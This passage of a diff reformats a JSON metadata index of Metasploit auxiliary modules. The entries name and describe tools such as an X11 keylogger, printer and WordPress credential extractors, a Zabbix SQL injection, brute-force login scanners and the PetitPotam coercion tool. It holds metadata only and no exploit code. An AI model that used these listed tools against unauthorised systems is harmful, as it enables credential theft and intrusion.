- ] + "actions": [] }, "auxiliary_gather/wp_w3_total_cache_hash_extract": { "name": "WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract", "fullname": "auxiliary/gather/wp_w3_total_cache_hash_extract", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28152,20 +24465,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/x11_keyboard_spy": { "name": "X11 Keylogger", "fullname": "auxiliary/gather/x11_keyboard_spy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "1997-07-01", "type": "auxiliary", @@ -28181,12 +24489,8 @@ "platform": "", "arch": "", "rport": 6000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-11-27 14:29:44 +0000", "path": "/modules/auxiliary/gather/x11_keyboard_spy.rb", @@ -28199,12 +24503,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ], + "Reliability": [], + "SideEffects": [], "AKA": [ "xspy" ], @@ -28214,16 +24514,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/xbmc_traversal": { "name": "XBMC Web Server Directory Traversal", "fullname": "auxiliary/gather/xbmc_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-04", "type": "auxiliary", @@ -28264,20 +24560,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/xerox_pwd_extract": { "name": "Xerox Administrator Console Password Extractor", "fullname": "auxiliary/gather/xerox_pwd_extract", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28286,18 +24577,12 @@ "Pete \"Bokojan\" Arzamendi" ], "description": "This module will extract the management console's admin password from the\n Xerox file system using firmware bootstrap injection.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-11-05 18:32:45 +0000", "path": "/modules/auxiliary/gather/xerox_pwd_extract.rb", @@ -28306,20 +24591,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/xerox_workcentre_5xxx_ldap": { "name": "Xerox Workcentre 5735 LDAP Service Redential Extractor", "fullname": "auxiliary/gather/xerox_workcentre_5xxx_ldap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28328,9 +24608,7 @@ "Pete \"Bokojan\" Arzamendi" ], "description": "This module extract the printer's LDAP username and password from Xerox Workcentre 5735.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -28357,20 +24635,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/xymon_info": { "name": "Xymon Daemon Gather Information", "fullname": "auxiliary/gather/xymon_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28382,7 +24655,7 @@ "references": [ "CVE-2016-2055", "PACKETSTORM-135758", - "URL-https://lists.xymon.com/pipermail/xymon/2016-February/042986.html", + "URL-http://web.archive.org/web/20240519104648/https://lists.xymon.com/pipermail/xymon/2016-February/042986.html", "URL-https://xymon.sourceforge.net/", "URL-https://en.wikipedia.org/wiki/Xymon", "URL-https://en.wikipedia.org/wiki/Big_Brother_(software)" @@ -28390,34 +24663,25 @@ "platform": "", "arch": "", "rport": 1984, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-04-12 13:09:34 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/gather/xymon_info.rb", "is_install_path": true, "ref_name": "gather/xymon_info", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/zabbix_toggleids_sqli": { "name": "Zabbix toggle_ids SQL Injection", "fullname": "auxiliary/gather/zabbix_toggleids_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-08-11", "type": "auxiliary", @@ -28456,20 +24720,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/zookeeper_info_disclosure": { "name": "Apache ZooKeeper Information Disclosure", "fullname": "auxiliary/gather/zookeeper_info_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-10-14", "type": "auxiliary", @@ -28483,12 +24742,8 @@ "platform": "", "arch": "", "rport": 2181, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/gather/zookeeper_info_disclosure.rb", @@ -28501,25 +24756,17 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/zoomeye_search": { "name": "ZoomEye Search", "fullname": "auxiliary/gather/zoomeye_search", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28560,20 +24807,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_parser/unattend": { "name": "Auxilliary Parser Windows Unattend Passwords", "fullname": "auxiliary/parser/unattend", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28589,12 +24831,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/parser/unattend.rb", @@ -28603,20 +24841,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_pdf/foxit/authbypass": { "name": "Foxit Reader Authorization Bypass", "fullname": "auxiliary/pdf/foxit/authbypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-03-09", "type": "auxiliary", @@ -28633,12 +24866,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/pdf/foxit/authbypass.rb", @@ -28647,20 +24876,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/acpp/login": { "name": "Apple Airport ACPP Authentication Scanner", "fullname": "auxiliary/scanner/acpp/login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28677,9 +24901,7 @@ "autofilter_ports": [ 5009 ], - "autofilter_services": [ - - ], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/acpp/login.rb", @@ -28688,20 +24910,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/afp/afp_login": { "name": "Apple Filing Protocol Login Utility", "fullname": "auxiliary/scanner/afp/afp_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28716,12 +24933,8 @@ "platform": "", "arch": "", "rport": 548, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/afp/afp_login.rb", @@ -28730,20 +24943,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/afp/afp_server_info": { "name": "Apple Filing Protocol Info Enumerator", "fullname": "auxiliary/scanner/afp/afp_server_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28757,12 +24965,8 @@ "platform": "", "arch": "", "rport": 548, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/afp/afp_server_info.rb", @@ -28771,20 +24975,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/amqp/amqp_login": { "name": "AMQP 0-9-1 Login Check Scanner", "fullname": "auxiliary/scanner/amqp/amqp_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28798,12 +24997,8 @@ "platform": "", "arch": "", "rport": 5671, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-03-20 16:27:11 +0000", "path": "/modules/auxiliary/scanner/amqp/amqp_login.rb", @@ -28813,28 +25008,18 @@ "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/amqp/amqp_version": { "name": "AMQP 0-9-1 Version Scanner", "fullname": "auxiliary/scanner/amqp/amqp_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28848,12 +25033,8 @@ "platform": "", "arch": "", "rport": 5671, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-03-20 12:23:16 +0000", "path": "/modules/auxiliary/scanner/amqp/amqp_version.rb", @@ -28862,20 +25043,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/backdoor/energizer_duo_detect": { "name": "Energizer DUO Trojan Scanner", "fullname": "auxiliary/scanner/backdoor/energizer_duo_detect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -28891,12 +25067,8 @@ "platform": "", "arch": "", "rport": 7777, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb", @@ -28905,20 +25077,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/chargen/chargen_probe": { "name": "Chargen Probe Utility", "fullname": "auxiliary/scanner/chargen/chargen_probe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "1996-02-08", "type": "auxiliary", @@ -28933,12 +25100,8 @@ "platform": "", "arch": "", "rport": 19, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/scanner/chargen/chargen_probe.rb", @@ -28947,20 +25110,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/couchdb/couchdb_enum": { "name": "CouchDB Enum Utility", "fullname": "auxiliary/scanner/couchdb/couchdb_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29002,20 +25160,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/couchdb/couchdb_login": { "name": "CouchDB Login Utility", "fullname": "auxiliary/scanner/couchdb/couchdb_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29023,9 +25176,7 @@ "espreto " ], "description": "This module tests CouchDB logins on a range of\n machines and report successful logins.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5984, @@ -29052,20 +25203,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/db2/db2_auth": { "name": "DB2 Authentication Brute Force Utility", "fullname": "auxiliary/scanner/db2/db2_auth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29079,12 +25225,8 @@ "platform": "", "arch": "", "rport": 50000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/db2/db2_auth.rb", @@ -29093,20 +25235,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/db2/db2_version": { "name": "DB2 Probe Utility", "fullname": "auxiliary/scanner/db2/db2_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29114,18 +25251,12 @@ "todb " ], "description": "This module queries a DB2 instance information.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 50000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/db2/db2_version.rb", @@ -29134,20 +25265,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/db2/discovery": { "name": "DB2 Discovery Service Detection", "fullname": "auxiliary/scanner/db2/discovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29155,18 +25281,12 @@ "MC " ], "description": "This module simply queries the DB2 discovery service for information.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 523, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/scanner/db2/discovery.rb", @@ -29175,20 +25295,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dcerpc/dfscoerce": { "name": "DFSCoerce", "fullname": "auxiliary/scanner/dcerpc/dfscoerce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29220,20 +25335,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dcerpc/endpoint_mapper": { "name": "Endpoint Mapper Service Discovery", "fullname": "auxiliary/scanner/dcerpc/endpoint_mapper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29241,18 +25351,12 @@ "hdm " ], "description": "This module can be used to obtain information from the\n Endpoint Mapper service.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 135, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb", @@ -29261,20 +25365,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dcerpc/hidden": { "name": "Hidden DCERPC Service Discovery", "fullname": "auxiliary/scanner/dcerpc/hidden", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29282,18 +25381,12 @@ "hdm " ], "description": "This module will query the endpoint mapper and make a list\n of all ncacn_tcp RPC services. It will then connect to each of\n these services and use the management API to list all other\n RPC services accessible on this port. Any RPC service found attached\n to a TCP port, but not listed in the endpoint mapper, will be displayed\n and analyzed to see whether anonymous access is permitted.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-06 15:45:59 +0000", "path": "/modules/auxiliary/scanner/dcerpc/hidden.rb", @@ -29302,20 +25395,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dcerpc/management": { "name": "Remote Management Interface Discovery", "fullname": "auxiliary/scanner/dcerpc/management", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29323,18 +25411,12 @@ "hdm " ], "description": "This module can be used to obtain information from the Remote\n Management Interface DCERPC service.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 135, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/scanner/dcerpc/management.rb", @@ -29343,20 +25425,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dcerpc/nrpc_enumusers": { "name": "MS-NRPC Domain Users Enumeration", "fullname": "auxiliary/scanner/dcerpc/nrpc_enumusers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29370,12 +25447,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-06-24 16:06:38 +0000", "path": "/modules/auxiliary/scanner/dcerpc/nrpc_enumusers.rb", @@ -29388,25 +25461,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dcerpc/petitpotam": { "name": "PetitPotam", "fullname": "auxiliary/scanner/dcerpc/petitpotam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29439,20 +25504,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dcerpc/tcp_dcerpc_auditor": { "name": "DCERPC TCP Service Auditor", "fullname": "auxiliary/scanner/dcerpc/tcp_dcerpc_auditor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29460,18 +25520,12 @@ "hdm " ], "description": "Determine what DCERPC services are accessible over a TCP port", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 135, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb", @@ -29480,20 +25534,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dcerpc/windows_deployment_services": { "name": "Microsoft Windows Deployment Services Unattend Retrieval", "fullname": "auxiliary/scanner/dcerpc/windows_deployment_services", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29508,12 +25557,8 @@ "platform": "", "arch": "", "rport": 5040, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb", @@ -29522,20 +25567,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dect/call_scanner": { "name": "DECT Call Scanner", "fullname": "auxiliary/scanner/dect/call_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29543,18 +25583,12 @@ "DK " ], "description": "This module scans for active DECT calls", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/dect/call_scanner.rb", @@ -29563,20 +25597,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dect/station_scanner": { "name": "DECT Base Station Scanner", "fullname": "auxiliary/scanner/dect/station_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29584,18 +25613,12 @@ "DK " ], "description": "This module scans for DECT base stations", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/dect/station_scanner.rb", @@ -29604,20 +25627,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/discovery/arp_sweep": { "name": "ARP Sweep Local Network Discovery", "fullname": "auxiliary/scanner/discovery/arp_sweep", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29625,18 +25643,12 @@ "belch" ], "description": "Enumerate alive Hosts in local network using ARP requests.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-10-31 04:53:14 +0000", "path": "/modules/auxiliary/scanner/discovery/arp_sweep.rb", @@ -29645,20 +25657,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/discovery/empty_udp": { "name": "UDP Empty Prober", "fullname": "auxiliary/scanner/discovery/empty_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29666,18 +25673,12 @@ "Jon Hart " ], "description": "Detect UDP services that reply to empty probes", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/discovery/empty_udp.rb", @@ -29686,20 +25687,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/discovery/ipv6_multicast_ping": { "name": "IPv6 Link Local/Node Local Ping Discovery", "fullname": "auxiliary/scanner/discovery/ipv6_multicast_ping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29713,12 +25709,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb", @@ -29727,20 +25719,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/discovery/ipv6_neighbor": { "name": "IPv6 Local Neighbor Discovery", "fullname": "auxiliary/scanner/discovery/ipv6_neighbor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29748,18 +25735,12 @@ "belch" ], "description": "Enumerate local IPv6 hosts which respond to Neighbor Solicitations with a link-local address.\n Note, that like ARP scanning, this usually cannot be performed beyond the local\n broadcast network.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb", @@ -29768,20 +25749,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/discovery/ipv6_neighbor_router_advertisement": { "name": "IPv6 Local Neighbor Discovery Using Router Advertisement", "fullname": "auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29796,12 +25772,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb", @@ -29810,20 +25782,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/discovery/udp_probe": { "name": "UDP Service Prober", "fullname": "auxiliary/scanner/discovery/udp_probe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29831,18 +25798,12 @@ "hdm " ], "description": "Detect common UDP services using sequential probes", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-10-04 21:56:52 +0000", "path": "/modules/auxiliary/scanner/discovery/udp_probe.rb", @@ -29851,20 +25812,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/discovery/udp_sweep": { "name": "UDP Service Sweeper", "fullname": "auxiliary/scanner/discovery/udp_sweep", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -29872,18 +25828,12 @@ "hdm " ], "description": "Detect interesting UDP services", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-10-03 12:38:36 +0000", "path": "/modules/auxiliary/scanner/discovery/udp_sweep.rb", @@ -29892,20 +25842,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/dlsw/dlsw_leak_capture": { "name": "Cisco DLSw Information Disclosure Scanner", "fullname": "auxiliary/scanner/dlsw/dlsw_leak_capture", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-17", "type": "auxiliary", @@ -29922,12 +25867,8 @@ "platform": "", "arch": "", "rport": 2067, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb", @@ -29936,20 +25877,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, 